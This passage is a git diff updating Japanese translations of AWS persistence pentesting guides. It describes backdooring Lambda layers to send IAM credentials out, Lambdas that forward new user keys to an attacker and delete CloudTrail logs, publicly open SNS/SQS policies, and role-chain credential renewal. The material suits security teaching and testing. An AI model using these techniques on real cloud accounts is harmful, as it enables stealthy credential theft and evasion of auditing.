+(ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、2ではなく10を使用しています) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 13ab14486..81ead5af9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、ラムダがステルスな方法で実行されるときに行えます: +**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、lambdaがステルスな方法で実行されるときに行えます: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Lambda Layersを悪用することで、拡張機能を悪用し、ラムダに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。 +Lambda Layersを悪用することで、拡張機能を悪用し、lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。 {{#ref}} aws-abusing-lambda-extensions.md @@ -28,13 +28,13 @@ aws-abusing-lambda-extensions.md ### Via resource policies -外部アカウントに対して、さまざまなラムダアクション(呼び出しやコードの更新など)へのアクセスを付与することが可能です: +外部アカウントに対して、異なるlambdaアクション(invokeやupdate codeなど)へのアクセスを付与することが可能です:
### Versions, Aliases & Weights -ラムダは**異なるバージョン**(各バージョンに異なるコード)を持つことができます。\ +Lambdaは**異なるバージョン**(各バージョンに異なるコード)を持つことができます。\ その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\ この方法で、攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%でのみバージョン1を実行**してステルスを維持できます。 @@ -42,23 +42,23 @@ aws-abusing-lambda-extensions.md ### Version Backdoor + API Gateway -1. ラムダの元のコードをコピーします -2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみ)。そのバージョンを公開し、**$LATESTにデプロイ**します -1. ラムダに関連するAPIゲートウェイを呼び出してコードを実行します +1. Lambdaの元のコードをコピーします +2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみで)。そのバージョンを公開し、**$LATESTにデプロイ**します +1. コードを実行するためにlambdaに関連するAPIゲートウェイを呼び出します 3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。 1. これにより、バックドア付きのコードは以前のバージョンに隠されます -4. APIゲートウェイに移動し、**バックドア付きのラムダを実行する新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1::function::1` +4. API Gatewayに移動し、**バックドア付きのlambdaの実行を行う新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1::function::1` 1. 最後の:1は**関数のバージョンを示す**ことに注意してください(このシナリオではバージョン1がバックドア付きのものになります)。 -5. 作成したPOSTメソッドを選択し、アクションで**`APIをデプロイ`**を選択します -6. これで、**POST経由で関数を呼び出すと、あなたのバックドア**が呼び出されます +5. 作成したPOSTメソッドを選択し、アクションで**`Deploy API`**を選択します +6. これで、**POST経由で関数を呼び出すと、あなたのバックドアが呼び出されます** ### Cron/Event actuator -**何かが起こったときや時間が経過したときにラムダ関数を実行できる**という事実は、ラムダを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\ -ここでは、**ラムダを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。 +**何かが起こったときや時間が経過したときにlambda関数を実行できる**という事実は、lambdaを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\ +ここでは、**lambdaを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。 -- 新しいユーザーが作成されるたびに、ラムダは新しいユーザーキーを生成し、攻撃者に送信します。 -- 新しいロールが作成されるたびに、ラムダは侵害されたユーザーにロールの引き受け権限を付与します。 -- 新しいCloudTrailログが生成されるたびに、それらを削除/変更します。 +- 新しいユーザーが作成されるたびに、lambdaは新しいユーザーキーを生成し、攻撃者に送信します。 +- 新しいロールが作成されるたびに、lambdaは侵害されたユーザーにロールの引き受け権限を付与します。 +- 新しいcloudtrailログが生成されるたびに、それらを削除/変更します。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index b3bb8fa3c..0dbf5d0b4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -19,20 +19,20 @@ Lambdaランタイム環境のデフォルトのLinuxカーネルは、“**proc さらに、Lambda拡張は**呼び出しイベントにサブスクライブする能力**を持っていますが、AWSはこれらの拡張に生データを公開しません。これにより、**拡張がHTTPリクエストを介して送信される機密情報にアクセスできないことが保証されます。** -Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、任意のランタイムコードの実行前に実行されますが、Rapidの後です。 +Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、Rapidの後に任意のランタイムコードの実行前に実行されます。

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

変数**`AWS_LAMBDA_RUNTIME_API`**は、**子ランタイムプロセス**および追加の拡張に対してRapid APIの**IP**アドレスと**ポート**番号を示します。 > [!WARNING] -> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です(**中間者攻撃**)。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更**を許可するため、ポート番号の変更が可能になるからです。 +> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です(**中間者攻撃**)。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更を許可する**ため、ポート番号の変更が可能です。 -**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス(例:Python、Java、Node、Ruby)の起動に影響を与えます。さらに、**私たちの後に読み込まれた拡張**は、この変数に依存しており、私たちの拡張を通じてルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることが可能になるかもしれません。 +**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス(例:Python、Java、Node、Ruby)の起動に影響を与えます。さらに、私たちの後に読み込まれる**拡張**は、この変数に依存しているため、私たちの拡張を経由してルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることができる可能性があります。

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**ために作成され、他の**拡張**の**リクエスト**を**変更する**ことさえできます。 +ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**、他の**拡張**の**リクエスト**を**変更する**ために作成されました。 ## 参考文献 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index a1fa64d52..0e6e41fac 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,37 +4,37 @@ ## Lambda Layers -Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーには、ライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。 +Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。 **関数ごとに最大五つのレイヤー**を含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。 -**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**するか、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。 +**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**したり、レイヤーを**公開**することを選択できます。あなたの関数が別のアカウントが公開したレイヤーを使用している場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、あなたの関数は**レイヤーのバージョンを使用し続けることができます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新することはできません。 コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。 ### Python load path -Pythonがlambdaで使用するロードパスは次のとおりです: +Pythonがlambdaで使用するロードパスは次のとおりです: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` -チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリで占められています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`** +チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリによって占有されています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`** > [!CAUTION] -> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けたり、**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加**した場合、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。 +> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けることができた場合、または**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加した場合**、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。 したがって、要件は次のとおりです: -- **被害者のコード**によって**読み込まれるライブラリ**をチェックする -- **カスタムコードを実行し、元の**ライブラリを**読み込む**ための**lambda layers**を持つ**プロキシライブラリを作成する。 +- **被害者のコードによって**読み込まれる**ライブラリを確認する** +- **カスタムコードを実行し、元の**ライブラリを**読み込む**lambda layersを使用した**プロキシライブラリを作成する**。 ### プリロードされたライブラリ > [!WARNING] -> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときに**すでに読み込まれている**のです。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\ +> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときにpythonランタイムに**すでに読み込まれています**。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\ > この永続性技術を悪用するためには、コードが実行されるときに**読み込まれていない新しいライブラリを読み込む**必要があります。 -このようなpythonコードを使えば、lambda内のpythonランタイムに**プリロードされたライブラリのリスト**を取得することが可能です: +このようなpythonコードを使用すると、lambda内のpythonランタイムに**プリロードされたライブラリのリストを取得する**ことができます: ```python import sys @@ -48,20 +48,20 @@ return { ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` -And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +そして、これは**lambdaがデフォルトでインストールしているライブラリ**のリストです: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -### Lambda Layer Backdooring +### Lambdaレイヤーのバックドア -In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**. +この例では、ターゲットコードが**`csv`**をインポートしていると仮定します。私たちは**`csv`ライブラリのインポートにバックドアを仕掛ける**つもりです。 -For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\ -This file must: +そのために、**`/opt/python/lib/python3.9/site-packages`**に**csv**というディレクトリを作成し、その中に**`__init__.py`**ファイルを置きます。\ +その後、lambdaが実行されて**csv**を読み込もうとすると、私たちの**`__init__.py`ファイルが読み込まれ、実行されます**。\ +このファイルは以下を行う必要があります: -- Execute our payload -- Load the original csv library +- 私たちのペイロードを実行する +- 元のcsvライブラリを読み込む -We can do both with: +私たちは両方を次のように行うことができます: ```python import sys from urllib import request @@ -87,7 +87,7 @@ sys.modules["csv"] = _csv このコードは [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) で見つけることができます。 -統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**(コードの変更またはコールドlambda)、しかし、**他の技術**も以下のように統合することができます: +統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**(コードの変更またはコールドlambda)、しかし**他の技術**も以下のように統合することができます: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -95,14 +95,14 @@ sys.modules["csv"] = _csv ### 外部レイヤー -**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは、権限がなくても外部アカウントのレイヤーを使用できます。\ -また、**lambdaが持つことができるレイヤーの最大数は5です**。 +**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは権限がなくても外部アカウントのレイヤーを使用できます。\ +また、**lambdaが持てるレイヤーの最大数は5です**。 したがって、この技術の汎用性を向上させるために、攻撃者は次のことを行うことができます: - ユーザーの既存のレイヤーにバックドアを仕掛ける(外部のものは何もない) - **自分のアカウントに** **レイヤー**を**作成**し、**被害者アカウントに**そのレイヤーを使用するアクセスを**与え**、**被害者のLambdaに**その**レイヤーを**設定し、**権限を削除**します。 -- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**(lambda内でリバースシェルを取得することを除いて) +- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**(lambda内でrev shellを取得することを除いて) - 被害者は**`aws lambda list-layers`**を使用して**外部レイヤーを確認できません**。 ```bash # Upload backdoor layer diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index a5c4d6bc6..7d4fd5e12 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -28,6 +28,6 @@ - あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う - ドメインから**メール**を送信できるようにする**SPF**レコードを作成する -- **メインドメインのIPを自分のものに設定し、正当なものへの**MitM**を行う +- **メインドメインのIPを自分のものに設定し**、あなたのIPから正当なものへの**MitM**を実行する {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index 965088a61..854afa4d9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -4,7 +4,7 @@ ## RDS -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a ``` ### DB内に管理者ユーザーを作成する -攻撃者は**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。 +攻撃者は単に**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。 ### スナップショットを公開する ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 8add98db6..9110cf6ea 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -12,14 +12,14 @@ ### KMS クライアントサイド暗号化 -暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキー (`aws kms generate-data-key`) を生成し、**生成された暗号化キーをファイルのメタデータ内に保存します** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))。これにより、復号化が行われるときに再度 KMS を使用して復号化できます: +暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキーを生成します(`aws kms generate-data-key`)そして、**生成された暗号化キーをファイルのメタデータ内に保存します**([python コード例](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))ので、復号化が行われるときに再度 KMS を使用して復号化できます:
-したがって、攻撃者はメタデータからこのキーを取得し、KMS (`aws kms decrypt`) を使用して復号化し、情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用されている場合、使用することができます。 +したがって、攻撃者はメタデータからこのキーを取得し、KMS(`aws kms decrypt`)を使用して情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用される場合、使用することができます。 ### S3 ACL の使用 -通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者は、それらを悪用することができます(有効な場合や攻撃者が有効にできる場合)ので、S3 バケットへのアクセスを維持できます。 +通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者はそれらを悪用することができます(有効な場合や攻撃者がそれらを有効にできる場合)ので、S3 バケットへのアクセスを維持できます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index 7f09f6a4c..b49b56ee6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -4,7 +4,7 @@ ## Secrets Manager -詳細については、次を確認してください: +詳細については、以下を確認してください: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,13 +12,13 @@ ### リソースポリシーを介して -リソースポリシーを介して**外部アカウントに秘密へのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privescページ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**秘密にアクセスする**には、外部アカウントも**秘密を暗号化するKMSキーへのアクセスが必要**です。 +リソースポリシーを介して**外部アカウントにシークレットへのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**シークレットにアクセスする**には、外部アカウントも**シークレットを暗号化しているKMSキーへのアクセスが必要**です。 ### Secrets Rotate Lambdaを介して -秘密を自動的に**回転させる**ために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しい秘密を自分に流出させる**ことができます。 +シークレットを自動的に**ローテーション**するために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しいシークレットを自分に流出**させることができます。 -このようなアクションのためのLambdaコードは次のようになります: +このようなアクションのためのlambdaコードは次のようになります: ```python import boto3 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index d40f52514..eb859b947 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,8 +12,8 @@ ### Persistence -**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\ -以下のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます: +**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きする権限を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\ +次のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます: ```json { "Version": "2008-10-17", @@ -63,11 +63,11 @@ ] } ``` -### Create Subscribers +### サブスクライバーの作成 -すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのためにサブスクライバーを作成する**ことができます。 +すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのサブスクライバーを作成**することができます。 -**トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。 +**トピックがFIFOタイプ**の場合、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。 ```bash aws sns subscribe --region \ --protocol http \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 2a4202b2c..215f6ee81 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -12,8 +12,8 @@ ### リソースポリシーの使用 -SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\ -次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのものへのアクセスを許可します: +SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することが可能です。\ +次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのアクセスを許可します: ```json { "Version": "2008-10-17", @@ -32,6 +32,6 @@ SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っ } ``` > [!NOTE] -> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**(再度追加する必要があります)。これに関しては、以下の指示に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**(再度追加する必要があります)。これについては、次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index 3bd0aae28..ccdb61c5f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1 +1 @@ -# AWS - SSM Perssitence +# AWS - SSM 永続性 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 95a3a977b..69056ad9f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -12,7 +12,7 @@ ### ステップ関数のバックドア -ステップ関数にバックドアを仕掛けて、実行されるたびに悪意のあるステップを実行するようにします。 +ステップ関数にバックドアを仕掛けて、持続性のトリックを実行させることで、実行されるたびに悪意のあるステップを実行させることができます。 ### バックドアリングエイリアス diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 92ed47c0c..dbfd5d584 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -12,7 +12,7 @@ ### Assume role token -一時的なトークンはリストできないため、アクティブな一時的トークンを維持することが持続性を維持する方法です。 +一時的なトークンはリストできないため、アクティブな一時トークンを維持することが持続性を保つ方法です。
aws sts get-session-token --duration-seconds 129600
 
@@ -22,13 +22,13 @@ aws sts get-session-token \
 --token-code <code-from-token>
 
 # ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
-# SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
-# 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
+# SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/username
+# 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/username
 
### Role Chain Juggling -[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的な方法**で最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。 +[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的に**最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。 この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます: ```bash @@ -40,7 +40,7 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成できるすべての方法を見つけるわけではありません。 +> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成されるすべての方法を見つけるわけではありません。
